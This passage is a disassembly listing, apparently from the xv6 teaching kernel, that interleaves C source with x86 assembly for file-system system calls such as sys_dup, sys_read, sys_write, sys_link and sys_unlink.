$0xc,%esp 801049bd: 53 push %ebx 801049be: e8 4d cf ff ff call 80101910 <iunlockput> ilock(ip); 801049c3: 89 3c 24 mov %edi,(%esp) 801049c6: e8 b5 cc ff ff call 80101680 <ilock> if(type == T_FILE && ip->type == T_FILE) 801049cb: 83 c4 10 add $0x10,%esp 801049ce: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp) 801049d3: 0f 85 97 00 00 00 jne 80104a70 <create+0x100> 801049d9: 66 83 7f 50 02 cmpw $0x2,0x50(%edi) 801049de: 0f 85 8c 00 00 00 jne 80104a70 <create+0x100> panic("create: dirlink"); iunlockput(dp); return ip; } 801049e4: 8d 65 f4 lea -0xc(%ebp),%esp 801049e7: 89 f8 mov %edi,%eax 801049e9: 5b pop %ebx 801049ea: 5e pop %esi 801049eb: 5f pop %edi 801049ec: 5d pop %ebp 801049ed: c3 ret 801049ee: 66 90 xchg %ax,%ax if((ip = ialloc(dp->dev, type)) == 0) 801049f0: 0f bf 45 d4 movswl -0x2c(%ebp),%eax 801049f4: 83 ec 08 sub $0x8,%esp 801049f7: 50 push %eax 801049f8: ff 33 pushl (%ebx) 801049fa: e8 11 cb ff ff call 80101510 <ialloc> 801049ff: 83 c4 10 add $0x10,%esp 80104a02: 85 c0 test %eax,%eax 80104a04: 89 c7 mov %eax,%edi 80104a06: 0f 84 e8 00 00 00 je 80104af4 <create+0x184> ilock(ip); 80104a0c: 83 ec 0c sub $0xc,%esp 80104a0f: 50 push %eax 80104a10: e8 6b cc ff ff call 80101680 <ilock> ip->major = major; 80104a15: 0f b7 45 d0 movzwl -0x30(%ebp),%eax 80104a19: 66 89 47 52 mov %ax,0x52(%edi) ip->minor = minor; 80104a1d: 0f b7 45 cc movzwl -0x34(%ebp),%eax 80104a21: 66 89 47 54 mov %ax,0x54(%edi) ip->nlink = 1; 80104a25: b8 01 00 00 00 mov $0x1,%eax 80104a2a: 66 89 47 56 mov %ax,0x56(%edi) iupdate(ip); 80104a2e: 89 3c 24 mov %edi,(%esp) 80104a31: e8 9a cb ff ff call 801015d0 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80104a36: 83 c4 10 add $0x10,%esp 80104a39: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp) 80104a3e: 74 50 je 80104a90 <create+0x120> if(dirlink(dp, name, ip->inum) < 0) 80104a40: 83 ec 04 sub $0x4,%esp 80104a43: ff 77 04 pushl 0x4(%edi) 80104a46: 56 push %esi 80104a47: 53 push %ebx 80104a48: e8 d3 d3 ff ff call 80101e20 <dirlink> 80104a4d: 83 c4 10 add $0x10,%esp 80104a50: 85 c0 test %eax,%eax 80104a52: 0f 88 8f 00 00 00 js 80104ae7 <create+0x177> iunlockput(dp); 80104a58: 83 ec 0c sub $0xc,%esp 80104a5b: 53 push %ebx 80104a5c: e8 af ce ff ff call 80101910 <iunlockput> return ip; 80104a61: 83 c4 10 add $0x10,%esp } 80104a64: 8d 65 f4 lea -0xc(%ebp),%esp 80104a67: 89 f8 mov %edi,%eax 80104a69: 5b pop %ebx 80104a6a: 5e pop %esi 80104a6b: 5f pop %edi 80104a6c: 5d pop %ebp 80104a6d: c3 ret 80104a6e: 66 90 xchg %ax,%ax iunlockput(ip); 80104a70: 83 ec 0c sub $0xc,%esp 80104a73: 57 push %edi return 0; 80104a74: 31 ff xor %edi,%edi iunlockput(ip); 80104a76: e8 95 ce ff ff call 80101910 <iunlockput> return 0; 80104a7b: 83 c4 10 add $0x10,%esp } 80104a7e: 8d 65 f4 lea -0xc(%ebp),%esp 80104a81: 89 f8 mov %edi,%eax 80104a83: 5b pop %ebx 80104a84: 5e pop %esi 80104a85: 5f pop %edi 80104a86: 5d pop %ebp 80104a87: c3 ret 80104a88: 90 nop 80104a89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi dp->nlink++; // for ".." 80104a90: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(dp); 80104a95: 83 ec 0c sub $0xc,%esp 80104a98: 53 push %ebx 80104a99: e8 32 cb ff ff call 801015d0 <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 80104a9e: 83 c4 0c add $0xc,%esp 80104aa1: ff 77 04 pushl 0x4(%edi) 80104aa4: 68 c0 77 10 80 push $0x801077c0 80104aa9: 57 push %edi 80104aaa: e8 71 d3 ff ff call 80101e20 <dirlink> 80104aaf: 83 c4 10 add $0x10,%esp 80104ab2: 85 c0 test %eax,%eax 80104ab4: 78 1c js 80104ad2 <create+0x162> 80104ab6: 83 ec 04 sub $0x4,%esp 80104ab9: ff 73 04 pushl 0x4(%ebx) 80104abc: 68 bf 77 10 80 push $0x801077bf 80104ac1: 57 push %edi 80104ac2: e8 59 d3 ff ff call 80101e20 <dirlink> 80104ac7: 83 c4 10 add $0x10,%esp 80104aca: 85 c0 test %eax,%eax 80104acc: 0f 89 6e ff ff ff jns 80104a40 <create+0xd0> panic("create dots"); 80104ad2: 83 ec 0c sub $0xc,%esp 80104ad5: 68 b3 77 10 80 push $0x801077b3 80104ada: e8 b1 b8 ff ff call 80100390 <panic> 80104adf: 90 nop return 0; 80104ae0: 31 ff xor %edi,%edi 80104ae2: e9 fd fe ff ff jmp 801049e4 <create+0x74> panic("create: dirlink"); 80104ae7: 83 ec 0c sub $0xc,%esp 80104aea: 68 c2 77 10 80 push $0x801077c2 80104aef: e8 9c b8 ff ff call 80100390 <panic> panic("create: ialloc"); 80104af4: 83 ec 0c sub $0xc,%esp 80104af7: 68 a4 77 10 80 push $0x801077a4 80104afc: e8 8f b8 ff ff call 80100390 <panic> 80104b01: eb 0d jmp 80104b10 <argfd.constprop.0> 80104b03: 90 nop 80104b04: 90 nop 80104b05: 90 nop 80104b06: 90 nop 80104b07: 90 nop 80104b08: 90 nop 80104b09: 90 nop 80104b0a: 90 nop 80104b0b: 90 nop 80104b0c: 90 nop 80104b0d: 90 nop 80104b0e: 90 nop 80104b0f: 90 nop 80104b10 <argfd.constprop.0>: argfd(int n, int *pfd, struct file **pf) 80104b10: 55 push %ebp 80104b11: 89 e5 mov %esp,%ebp 80104b13: 56 push %esi 80104b14: 53 push %ebx 80104b15: 89 c3 mov %eax,%ebx if(argint(n, &fd) < 0) 80104b17: 8d 45 f4 lea -0xc(%ebp),%eax argfd(int n, int *pfd, struct file **pf) 80104b1a: 89 d6 mov %edx,%esi 80104b1c: 83 ec 18 sub $0x18,%esp if(argint(n, &fd) < 0) 80104b1f: 50 push %eax 80104b20: 6a 00 push $0x0 80104b22: e8 f9 fc ff ff call 80104820 <argint> 80104b27: 83 c4 10 add $0x10,%esp 80104b2a: 85 c0 test %eax,%eax 80104b2c: 78 2a js 80104b58 <argfd.constprop.0+0x48> if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80104b2e: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 80104b32: 77 24 ja 80104b58 <argfd.constprop.0+0x48> 80104b34: e8 a7 ec ff ff call 801037e0 <myproc> 80104b39: 8b 55 f4 mov -0xc(%ebp),%edx 80104b3c: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 80104b40: 85 c0 test %eax,%eax 80104b42: 74 14 je 80104b58 <argfd.constprop.0+0x48> if(pfd) 80104b44: 85 db test %ebx,%ebx 80104b46: 74 02 je 80104b4a <argfd.constprop.0+0x3a> *pfd = fd; 80104b48: 89 13 mov %edx,(%ebx) *pf = f; 80104b4a: 89 06 mov %eax,(%esi) return 0; 80104b4c: 31 c0 xor %eax,%eax } 80104b4e: 8d 65 f8 lea -0x8(%ebp),%esp 80104b51: 5b pop %ebx 80104b52: 5e pop %esi 80104b53: 5d pop %ebp 80104b54: c3 ret 80104b55: 8d 76 00 lea 0x0(%esi),%esi return -1; 80104b58: b8 ff ff ff ff mov $0xffffffff,%eax 80104b5d: eb ef jmp 80104b4e <argfd.constprop.0+0x3e> 80104b5f: 90 nop 80104b60 <sys_dup>: { 80104b60: 55 push %ebp if(argfd(0, 0, &f) < 0) 80104b61: 31 c0 xor %eax,%eax { 80104b63: 89 e5 mov %esp,%ebp 80104b65: 56 push %esi 80104b66: 53 push %ebx if(argfd(0, 0, &f) < 0) 80104b67: 8d 55 f4 lea -0xc(%ebp),%edx { 80104b6a: 83 ec 10 sub $0x10,%esp if(argfd(0, 0, &f) < 0) 80104b6d: e8 9e ff ff ff call 80104b10 <argfd.constprop.0> 80104b72: 85 c0 test %eax,%eax 80104b74: 78 42 js 80104bb8 <sys_dup+0x58> if((fd=fdalloc(f)) < 0) 80104b76: 8b 75 f4 mov -0xc(%ebp),%esi for(fd = 0; fd < NOFILE; fd++){ 80104b79: 31 db xor %ebx,%ebx struct proc *curproc = myproc(); 80104b7b: e8 60 ec ff ff call 801037e0 <myproc> 80104b80: eb 0e jmp 80104b90 <sys_dup+0x30> 80104b82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(fd = 0; fd < NOFILE; fd++){ 80104b88: 83 c3 01 add $0x1,%ebx 80104b8b: 83 fb 10 cmp $0x10,%ebx 80104b8e: 74 28 je 80104bb8 <sys_dup+0x58> if(curproc->ofile[fd] == 0){ 80104b90: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80104b94: 85 d2 test %edx,%edx 80104b96: 75 f0 jne 80104b88 <sys_dup+0x28> curproc->ofile[fd] = f; 80104b98: 89 74 98 28 mov %esi,0x28(%eax,%ebx,4) filedup(f); 80104b9c: 83 ec 0c sub $0xc,%esp 80104b9f: ff 75 f4 pushl -0xc(%ebp) 80104ba2: e8 49 c2 ff ff call 80100df0 <filedup> return fd; 80104ba7: 83 c4 10 add $0x10,%esp } 80104baa: 8d 65 f8 lea -0x8(%ebp),%esp 80104bad: 89 d8 mov %ebx,%eax 80104baf: 5b pop %ebx 80104bb0: 5e pop %esi 80104bb1: 5d pop %ebp 80104bb2: c3 ret 80104bb3: 90 nop 80104bb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104bb8: 8d 65 f8 lea -0x8(%ebp),%esp return -1; 80104bbb: bb ff ff ff ff mov $0xffffffff,%ebx } 80104bc0: 89 d8 mov %ebx,%eax 80104bc2: 5b pop %ebx 80104bc3: 5e pop %esi 80104bc4: 5d pop %ebp 80104bc5: c3 ret 80104bc6: 8d 76 00 lea 0x0(%esi),%esi 80104bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104bd0 <sys_read>: { 80104bd0: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104bd1: 31 c0 xor %eax,%eax { 80104bd3: 89 e5 mov %esp,%ebp 80104bd5: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104bd8: 8d 55 ec lea -0x14(%ebp),%edx 80104bdb: e8 30 ff ff ff call 80104b10 <argfd.constprop.0> 80104be0: 85 c0 test %eax,%eax 80104be2: 78 4c js 80104c30 <sys_read+0x60> 80104be4: 8d 45 f0 lea -0x10(%ebp),%eax 80104be7: 83 ec 08 sub $0x8,%esp 80104bea: 50 push %eax 80104beb: 6a 02 push $0x2 80104bed: e8 2e fc ff ff call 80104820 <argint> 80104bf2: 83 c4 10 add $0x10,%esp 80104bf5: 85 c0 test %eax,%eax 80104bf7: 78 37 js 80104c30 <sys_read+0x60> 80104bf9: 8d 45 f4 lea -0xc(%ebp),%eax 80104bfc: 83 ec 04 sub $0x4,%esp 80104bff: ff 75 f0 pushl -0x10(%ebp) 80104c02: 50 push %eax 80104c03: 6a 01 push $0x1 80104c05: e8 66 fc ff ff call 80104870 <argptr> 80104c0a: 83 c4 10 add $0x10,%esp 80104c0d: 85 c0 test %eax,%eax 80104c0f: 78 1f js 80104c30 <sys_read+0x60> return fileread(f, p, n); 80104c11: 83 ec 04 sub $0x4,%esp 80104c14: ff 75 f0 pushl -0x10(%ebp) 80104c17: ff 75 f4 pushl -0xc(%ebp) 80104c1a: ff 75 ec pushl -0x14(%ebp) 80104c1d: e8 3e c3 ff ff call 80100f60 <fileread> 80104c22: 83 c4 10 add $0x10,%esp } 80104c25: c9 leave 80104c26: c3 ret 80104c27: 89 f6 mov %esi,%esi 80104c29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80104c30: b8 ff ff ff ff mov $0xffffffff,%eax } 80104c35: c9 leave 80104c36: c3 ret 80104c37: 89 f6 mov %esi,%esi 80104c39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104c40 <sys_write>: { 80104c40: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104c41: 31 c0 xor %eax,%eax { 80104c43: 89 e5 mov %esp,%ebp 80104c45: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104c48: 8d 55 ec lea -0x14(%ebp),%edx 80104c4b: e8 c0 fe ff ff call 80104b10 <argfd.constprop.0> 80104c50: 85 c0 test %eax,%eax 80104c52: 78 4c js 80104ca0 <sys_write+0x60> 80104c54: 8d 45 f0 lea -0x10(%ebp),%eax 80104c57: 83 ec 08 sub $0x8,%esp 80104c5a: 50 push %eax 80104c5b: 6a 02 push $0x2 80104c5d: e8 be fb ff ff call 80104820 <argint> 80104c62: 83 c4 10 add $0x10,%esp 80104c65: 85 c0 test %eax,%eax 80104c67: 78 37 js 80104ca0 <sys_write+0x60> 80104c69: 8d 45 f4 lea -0xc(%ebp),%eax 80104c6c: 83 ec 04 sub $0x4,%esp 80104c6f: ff 75 f0 pushl -0x10(%ebp) 80104c72: 50 push %eax 80104c73: 6a 01 push $0x1 80104c75: e8 f6 fb ff ff call 80104870 <argptr> 80104c7a: 83 c4 10 add $0x10,%esp 80104c7d: 85 c0 test %eax,%eax 80104c7f: 78 1f js 80104ca0 <sys_write+0x60> return filewrite(f, p, n); 80104c81: 83 ec 04 sub $0x4,%esp 80104c84: ff 75 f0 pushl -0x10(%ebp) 80104c87: ff 75 f4 pushl -0xc(%ebp) 80104c8a: ff 75 ec pushl -0x14(%ebp) 80104c8d: e8 5e c3 ff ff call 80100ff0 <filewrite> 80104c92: 83 c4 10 add $0x10,%esp } 80104c95: c9 leave 80104c96: c3 ret 80104c97: 89 f6 mov %esi,%esi 80104c99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80104ca0: b8 ff ff ff ff mov $0xffffffff,%eax } 80104ca5: c9 leave 80104ca6: c3 ret 80104ca7: 89 f6 mov %esi,%esi 80104ca9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104cb0 <sys_close>: { 80104cb0: 55 push %ebp 80104cb1: 89 e5 mov %esp,%ebp 80104cb3: 83 ec 18 sub $0x18,%esp if(argfd(0, &fd, &f) < 0) 80104cb6: 8d 55 f4 lea -0xc(%ebp),%edx 80104cb9: 8d 45 f0 lea -0x10(%ebp),%eax 80104cbc: e8 4f fe ff ff call 80104b10 <argfd.constprop.0> 80104cc1: 85 c0 test %eax,%eax 80104cc3: 78 2b js 80104cf0 <sys_close+0x40> myproc()->ofile[fd] = 0; 80104cc5: e8 16 eb ff ff call 801037e0 <myproc> 80104cca: 8b 55 f0 mov -0x10(%ebp),%edx fileclose(f); 80104ccd: 83 ec 0c sub $0xc,%esp myproc()->ofile[fd] = 0; 80104cd0: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 80104cd7: 00 fileclose(f); 80104cd8: ff 75 f4 pushl -0xc(%ebp) 80104cdb: e8 60 c1 ff ff call 80100e40 <fileclose> return 0; 80104ce0: 83 c4 10 add $0x10,%esp 80104ce3: 31 c0 xor %eax,%eax } 80104ce5: c9 leave 80104ce6: c3 ret 80104ce7: 89 f6 mov %esi,%esi 80104ce9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80104cf0: b8 ff ff ff ff mov $0xffffffff,%eax } 80104cf5: c9 leave 80104cf6: c3 ret 80104cf7: 89 f6 mov %esi,%esi 80104cf9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104d00 <sys_fstat>: { 80104d00: 55 push %ebp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104d01: 31 c0 xor %eax,%eax { 80104d03: 89 e5 mov %esp,%ebp 80104d05: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104d08: 8d 55 f0 lea -0x10(%ebp),%edx 80104d0b: e8 00 fe ff ff call 80104b10 <argfd.constprop.0> 80104d10: 85 c0 test %eax,%eax 80104d12: 78 2c js 80104d40 <sys_fstat+0x40> 80104d14: 8d 45 f4 lea -0xc(%ebp),%eax 80104d17: 83 ec 04 sub $0x4,%esp 80104d1a: 6a 14 push $0x14 80104d1c: 50 push %eax 80104d1d: 6a 01 push $0x1 80104d1f: e8 4c fb ff ff call 80104870 <argptr> 80104d24: 83 c4 10 add $0x10,%esp 80104d27: 85 c0 test %eax,%eax 80104d29: 78 15 js 80104d40 <sys_fstat+0x40> return filestat(f, st); 80104d2b: 83 ec 08 sub $0x8,%esp 80104d2e: ff 75 f4 pushl -0xc(%ebp) 80104d31: ff 75 f0 pushl -0x10(%ebp) 80104d34: e8 d7 c1 ff ff call 80100f10 <filestat> 80104d39: 83 c4 10 add $0x10,%esp } 80104d3c: c9 leave 80104d3d: c3 ret 80104d3e: 66 90 xchg %ax,%ax return -1; 80104d40: b8 ff ff ff ff mov $0xffffffff,%eax } 80104d45: c9 leave 80104d46: c3 ret 80104d47: 89 f6 mov %esi,%esi 80104d49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104d50 <sys_link>: { 80104d50: 55 push %ebp 80104d51: 89 e5 mov %esp,%ebp 80104d53: 57 push %edi 80104d54: 56 push %esi 80104d55: 53 push %ebx if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104d56: 8d 45 d4 lea -0x2c(%ebp),%eax { 80104d59: 83 ec 34 sub $0x34,%esp if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104d5c: 50 push %eax 80104d5d: 6a 00 push $0x0 80104d5f: e8 6c fb ff ff call 801048d0 <argstr> 80104d64: 83 c4 10 add $0x10,%esp 80104d67: 85 c0 test %eax,%eax 80104d69: 0f 88 fb 00 00 00 js 80104e6a <sys_link+0x11a> 80104d6f: 8d 45 d0 lea -0x30(%ebp),%eax 80104d72: 83 ec 08 sub $0x8,%esp 80104d75: 50 push %eax 80104d76: 6a 01 push $0x1 80104d78: e8 53 fb ff ff call 801048d0 <argstr> 80104d7d: 83 c4 10 add $0x10,%esp 80104d80: 85 c0 test %eax,%eax 80104d82: 0f 88 e2 00 00 00 js 80104e6a <sys_link+0x11a> begin_op(); 80104d88: e8 13 de ff ff call 80102ba0 <begin_op> if((ip = namei(old)) == 0){ 80104d8d: 83 ec 0c sub $0xc,%esp 80104d90: ff 75 d4 pushl -0x2c(%ebp) 80104d93: e8 48 d1 ff ff call 80101ee0 <namei> 80104d98: 83 c4 10 add $0x10,%esp 80104d9b: 85 c0 test %eax,%eax 80104d9d: 89 c3 mov %eax,%ebx 80104d9f: 0f 84 ea 00 00 00 je 80104e8f <sys_link+0x13f> ilock(ip); 80104da5: 83 ec 0c sub $0xc,%esp 80104da8: 50 push %eax 80104da9: e8 d2 c8 ff ff call 80101680 <ilock> if(ip->type == T_DIR){ 80104dae: 83 c4 10 add $0x10,%esp 80104db1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104db6: 0f 84 bb 00 00 00 je 80104e77 <sys_link+0x127> ip->nlink++; 80104dbc: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(ip); 80104dc1: 83 ec 0c sub $0xc,%esp if((dp = nameiparent(new, name)) == 0) 80104dc4: 8d 7d da lea -0x26(%ebp),%edi iupdate(ip); 80104dc7: 53 push %ebx 80104dc8: e8 03 c8 ff ff call 801015d0 <iupdate> iunlock(ip); 80104dcd: 89 1c 24 mov %ebx,(%esp) 80104dd0: e8 8b c9 ff ff call 80101760 <iunlock> if((dp = nameiparent(new, name)) == 0) 80104dd5: 58 pop %eax 80104dd6: 5a pop %edx 80104dd7: 57 push %edi 80104dd8: ff 75 d0 pushl -0x30(%ebp) 80104ddb: e8 20 d1 ff ff call 80101f00 <nameiparent> 80104de0: 83 c4 10 add $0x10,%esp 80104de3: 85 c0 test %eax,%eax 80104de5: 89 c6 mov %eax,%esi 80104de7: 74 5b je 80104e44 <sys_link+0xf4> ilock(dp); 80104de9: 83 ec 0c sub $0xc,%esp 80104dec: 50 push %eax 80104ded: e8 8e c8 ff ff call 80101680 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80104df2: 83 c4 10 add $0x10,%esp 80104df5: 8b 03 mov (%ebx),%eax 80104df7: 39 06 cmp %eax,(%esi) 80104df9: 75 3d jne 80104e38 <sys_link+0xe8> 80104dfb: 83 ec 04 sub $0x4,%esp 80104dfe: ff 73 04 pushl 0x4(%ebx) 80104e01: 57 push %edi 80104e02: 56 push %esi 80104e03: e8 18 d0 ff ff call 80101e20 <dirlink> 80104e08: 83 c4 10 add $0x10,%esp 80104e0b: 85 c0 test %eax,%eax 80104e0d: 78 29 js 80104e38 <sys_link+0xe8> iunlockput(dp); 80104e0f: 83 ec 0c sub $0xc,%esp 80104e12: 56 push %esi 80104e13: e8 f8 ca ff ff call 80101910 <iunlockput> iput(ip); 80104e18: 89 1c 24 mov %ebx,(%esp) 80104e1b: e8 90 c9 ff ff call 801017b0 <iput> end_op(); 80104e20: e8 eb dd ff ff call 80102c10 <end_op> return 0; 80104e25: 83 c4 10 add $0x10,%esp 80104e28: 31 c0 xor %eax,%eax } 80104e2a: 8d 65 f4 lea -0xc(%ebp),%esp 80104e2d: 5b pop %ebx 80104e2e: 5e pop %esi 80104e2f: 5f pop %edi 80104e30: 5d pop %ebp 80104e31: c3 ret 80104e32: 8d b6 00 00 00 00 lea 0x0(%esi),%esi iunlockput(dp); 80104e38: 83 ec 0c sub $0xc,%esp 80104e3b: 56 push %esi 80104e3c: e8 cf ca ff ff call 80101910 <iunlockput> goto bad; 80104e41: 83 c4 10 add $0x10,%esp ilock(ip); 80104e44: 83 ec 0c sub $0xc,%esp 80104e47: 53 push %ebx 80104e48: e8 33 c8 ff ff call 80101680 <ilock> ip->nlink--; 80104e4d: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104e52: 89 1c 24 mov %ebx,(%esp) 80104e55: e8 76 c7 ff ff call 801015d0 <iupdate> iunlockput(ip); 80104e5a: 89 1c 24 mov %ebx,(%esp) 80104e5d: e8 ae ca ff ff call 80101910 <iunlockput> end_op(); 80104e62: e8 a9 dd ff ff call 80102c10 <end_op> return -1; 80104e67: 83 c4 10 add $0x10,%esp } 80104e6a: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80104e6d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104e72: 5b pop %ebx 80104e73: 5e pop %esi 80104e74: 5f pop %edi 80104e75: 5d pop %ebp 80104e76: c3 ret iunlockput(ip); 80104e77: 83 ec 0c sub $0xc,%esp 80104e7a: 53 push %ebx 80104e7b: e8 90 ca ff ff call 80101910 <iunlockput> end_op(); 80104e80: e8 8b dd ff ff call 80102c10 <end_op> return -1; 80104e85: 83 c4 10 add $0x10,%esp 80104e88: b8 ff ff ff ff mov $0xffffffff,%eax 80104e8d: eb 9b jmp 80104e2a <sys_link+0xda> end_op(); 80104e8f: e8 7c dd ff ff call 80102c10 <end_op> return -1; 80104e94: b8 ff ff ff ff mov $0xffffffff,%eax 80104e99: eb 8f jmp 80104e2a <sys_link+0xda> 80104e9b: 90 nop 80104e9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104ea0 <sys_unlink>: { 80104ea0: 55 push %ebp 80104ea1: 89 e5 mov %esp,%ebp 80104ea3: 57 push %edi 80104ea4: 56 push %esi 80104ea5: 53 push %ebx if(argstr(0, &path) < 0) 80104ea6: 8d 45 c0 lea -0x40(%ebp),%eax { 80104ea9: 83 ec 44 sub $0x44,%esp if(argstr(0, &path) < 0) 80104eac: 50 push %eax 80104ead: 6a 00 push $0x0 80104eaf: e8 1c fa ff ff call 801048d0 <argstr> 80104eb4: 83 c4 10 add $0x10,%esp 80104eb7: 85 c0 test %eax,%eax 80104eb9: 0f 88 77 01 00 00 js 80105036 <sys_unlink+0x196> if((dp = nameiparent(path, name)) == 0){ 80104ebf: 8d 5d ca lea -0x36(%ebp),%ebx begin_op(); 80104ec2: e8 d9 dc ff ff call 80102ba0 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80104ec7: 83 ec 08 sub $0x8,%esp 80104eca: 53 push %ebx 80104ecb: ff 75 c0 pushl -0x40(%ebp) 80104ece: e8 2d d0 ff ff call 80101f00 <nameiparent> 80104ed3: 83 c4 10 add $0x10,%esp 80104ed6: 85 c0 test %eax,%eax 80104ed8: 89 c6 mov %eax,%esi 80104eda: 0f 84 60 01 00 00 je 80105040 <sys_unlink+0x1a0> ilock(dp); 80104ee0: 83 ec 0c sub $0xc,%esp 80104ee3: 50 push %eax 80104ee4: e8 97 c7 ff ff call 80101680 <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80104ee9: 58 pop %eax 80104eea: 5a pop %edx 80104eeb: 68 c0 77 10 80 push $0x801077c0 80104ef0: 53 push %ebx 80104ef1: e8 9a cc ff ff call 80101b90 <namecmp> 80104ef6: 83 c4 10 add $0x10,%esp 80104ef9: 85 c0 test %eax,%eax 80104efb: 0f 84 03 01 00 00 je 80105004 <sys_unlink+0x164> 80104f01: 83 ec 08 sub $0x8,%esp 80104f04: 68 bf 77 10 80 push $0x801077bf 80104f09: 53 push %ebx 80104f0a: e8 81 cc ff ff call 80101b90 <namecmp> 80104f0f: 83 c4 10 add $0x10,%esp 80104f12: 85 c0 test %eax,%eax 80104f14: 0f 84 ea 00 00 00 je 80105004 <sys_unlink+0x164> if((ip = dirlookup(dp, name, &off)) == 0) 80104f1a: 8d 45 c4 lea -0x3c(%ebp),%eax 80104f1d: 83 ec 04 sub $0x4,%esp 80104f20: 50 push %eax 80104f21: 53 push %ebx 80104f22: 56 push %esi 80104f23: e8 88 cc ff ff call 80101bb0 <dirlookup> 80104f28: 83 c4 10 add $0x10,%esp 80104f2b: 85 c0 test %eax,%eax 80104f2d: 89 c3 mov %eax,%ebx 80104f2f: 0f 84 cf 00 00 00 je 80105004 <sys_unlink+0x164> ilock(ip); 80104f35: 83 ec 0c sub $0xc,%esp 80104f38: 50 push %eax 80104f39: e8 42 c7 ff ff call 80101680 <ilock> if(ip->nlink < 1) 80104f3e: 83 c4 10 add $0x10,%esp 80104f41: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 80104f46: 0f 8e 10 01 00 00 jle 8010505c <sys_unlink+0x1bc> if(ip->type == T_DIR && !isdirempty(ip)){ 80104f4c: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104f51: 74 6d je 80104fc0 <sys_unlink+0x120> memset(&de, 0, sizeof(de)); 80104f53: 8d 45 d8 lea -0x28(%ebp),%eax 80104f56: 83 ec 04 sub $0x4,%esp 80104f59: 6a 10 push $0x10 80104f5b: 6a 00 push $0x0 80104f5d: 50 push %eax 80104f5e: e8 bd f5 ff ff call 80104520 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104f63: 8d 45 d8 lea -0x28(%ebp),%eax 80104f66: 6a 10 push $0x10 80104f68: ff 75 c4 pushl -0x3c(%ebp) 80104f6b: 50 push %eax 80104f6c: 56 push %esi 80104f6d: e8 ee ca ff ff call 80101a60 <writei> 80104f72: 83 c4 20 add $0x20,%esp 80104f75: 83 f8 10 cmp $0x10,%eax 80104f78: 0f 85 eb 00 00 00 jne 80105069 <sys_unlink+0x1c9> if(ip->type == T_DIR){ 80104f7e: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104f83: 0f 84 97 00 00 00 je 80105020 <sys_unlink+0x180> iunlockput(dp); 80104f89: 83 ec 0c sub $0xc,%esp 80104f8c: 56 push %esi 80104f8d: e8 7e c9 ff ff call 80101910 <iunlockput> ip->nlink--; 80104f92: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104f97: 89 1c 24 mov %ebx,(%esp) 80104f9a: e8 31 c6 ff ff call 801015d0 <iupdate> iunlockput(ip); 80104f9f: 89 1c 24 mov %ebx,(%esp) 80104fa2: e8 69 c9 ff ff call 80101910 <iunlockput> end_op(); 80104fa7: e8 64 dc ff ff call 80102c10 <end_op> return 0; 80104fac: 83 c4 10 add $0x10,%esp 80104faf: 31 c0 xor %eax,%eax } 80104fb1: 8d 65 f4 lea -0xc(%ebp),%esp 80104fb4: 5b pop %ebx 80104fb5: 5e pop %esi 80104fb6: 5f pop %edi 80104fb7: 5d pop %ebp 80104fb8: c3 ret 80104fb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80104fc0: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80104fc4: 76 8d jbe 80104f53 <sys_unlink+0xb3> 80104fc6: bf 20 00 00 00 mov $0x20,%edi 80104fcb: eb 0f jmp 80104fdc <sys_unlink+0x13c> 80104fcd: 8d 76 00 lea 0x0(%esi),%esi 80104fd0: 83 c7 10 add $0x10,%edi 80104fd3: 3b 7b 58 cmp 